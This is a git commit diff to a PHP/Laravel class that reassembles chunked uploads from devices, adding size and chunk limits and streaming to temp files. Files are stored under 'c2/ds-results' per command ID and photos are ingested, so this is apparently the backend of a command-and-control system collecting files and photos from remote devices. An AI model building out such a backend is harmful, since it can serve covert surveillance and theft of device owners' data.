This commit is contained in:
hashbro
2026-09-17 00:25:39 +08:00
parent a49fb2415d
commit 2d18331feb
13 changed files with 475 additions and 91 deletions
+99 -19
View File
@@ -4,6 +4,7 @@ namespace App\Services;
use App\Models\Device;
use App\Models\Photo;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class DsResultStore
@@ -14,6 +15,10 @@ class DsResultStore
/** @var list<string> */
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
private const MAX_CHUNKS = 512;
private const MAX_ASSEMBLED_BYTES = 80 * 1024 * 1024;
public function __construct(
private readonly IngestService $ingest,
) {}
@@ -49,8 +54,11 @@ class DsResultStore
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
if ($total > 1 && $index !== null) {
$assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
if ($assembled === null) {
if ($total > self::MAX_CHUNKS || $index < 0 || $index >= $total) {
return ['stored' => false, 'reason' => 'bad_chunks', 'filename' => $filename];
}
$assembledPath = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
if ($assembledPath === null) {
return [
'stored' => false,
'reason' => 'chunk_pending',
@@ -59,39 +67,76 @@ class DsResultStore
'total_chunks' => $total,
];
}
$bytes = $assembled;
if ($assembledPath === false) {
return ['stored' => false, 'reason' => 'too_large', 'filename' => $filename];
}
try {
return $this->persistFile($device, $filename, $commandId, $assembledPath);
} finally {
@unlink($assembledPath);
}
}
$hash = hash('sha256', $bytes);
return $this->persistBytes($device, $filename, $commandId, $bytes);
}
/**
* @return array<string, mixed>
*/
private function persistBytes(Device $device, string $filename, string $commandId, string $bytes): array
{
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
if ($tmp === false) {
return ['stored' => false, 'reason' => 'tmp_failed', 'filename' => $filename];
}
file_put_contents($tmp, $bytes);
try {
return $this->persistFile($device, $filename, $commandId, $tmp);
} finally {
@unlink($tmp);
}
}
/**
* @return array<string, mixed>
*/
private function persistFile(Device $device, string $filename, string $commandId, string $absPath): array
{
$hash = hash_file('sha256', $absPath) ?: '';
$size = (int) filesize($absPath);
if ($this->alreadyIngested($device, $filename, $hash)) {
return [
'stored' => false,
'reason' => 'duplicate',
'filename' => $filename,
'size' => strlen($bytes),
'size' => $size,
];
}
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($rel, $bytes);
$stream = fopen($absPath, 'rb');
if ($stream === false) {
return ['stored' => false, 'reason' => 'read_failed', 'filename' => $filename];
}
Storage::disk('local')->put($rel, $stream);
if (is_resource($stream)) {
fclose($stream);
}
$this->markSeen($device, $hash, $filename);
$photo = false;
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
if ($tmp !== false) {
file_put_contents($tmp, $bytes);
$this->ingest->ingestPhotos($device, [$tmp]);
@unlink($tmp);
$photo = true;
}
$this->ingest->ingestPhotos($device, [$absPath]);
$photo = true;
}
return [
'stored' => true,
'path' => $rel,
'photo' => $photo,
'size' => strlen($bytes),
'size' => $size,
'filename' => $filename,
];
}
@@ -140,6 +185,9 @@ class DsResultStore
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
}
/**
* Stream chunks to a temp file. null = still waiting, false = over size / I/O fail.
*/
private function acceptChunk(
Device $device,
string $commandId,
@@ -147,7 +195,7 @@ class DsResultStore
int $index,
int $total,
string $bytes,
): ?string {
): string|false|null {
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($dir.'/'.$index, $bytes);
Storage::disk('local')->put($dir.'/total', (string) $total);
@@ -158,13 +206,45 @@ class DsResultStore
}
}
$out = '';
for ($i = 0; $i < $total; $i++) {
$out .= (string) Storage::disk('local')->get($dir.'/'.$i);
$tmp = tempnam(sys_get_temp_dir(), 'ds_asm_');
if ($tmp === false) {
Storage::disk('local')->deleteDirectory($dir);
return false;
}
$fh = fopen($tmp, 'wb');
if ($fh === false) {
@unlink($tmp);
Storage::disk('local')->deleteDirectory($dir);
return false;
}
$written = 0;
for ($i = 0; $i < $total; $i++) {
$chunk = (string) Storage::disk('local')->get($dir.'/'.$i);
$len = strlen($chunk);
if ($written + $len > self::MAX_ASSEMBLED_BYTES) {
unset($chunk);
fclose($fh);
@unlink($tmp);
Storage::disk('local')->deleteDirectory($dir);
Log::warning('ds result assembled too large', [
'device_id' => $device->device_id,
'filename' => $filename,
'total_chunks' => $total,
]);
return false;
}
fwrite($fh, $chunk);
$written += $len;
unset($chunk);
}
fclose($fh);
Storage::disk('local')->deleteDirectory($dir);
return $out;
return $tmp;
}
private function isVideo(string $filename): bool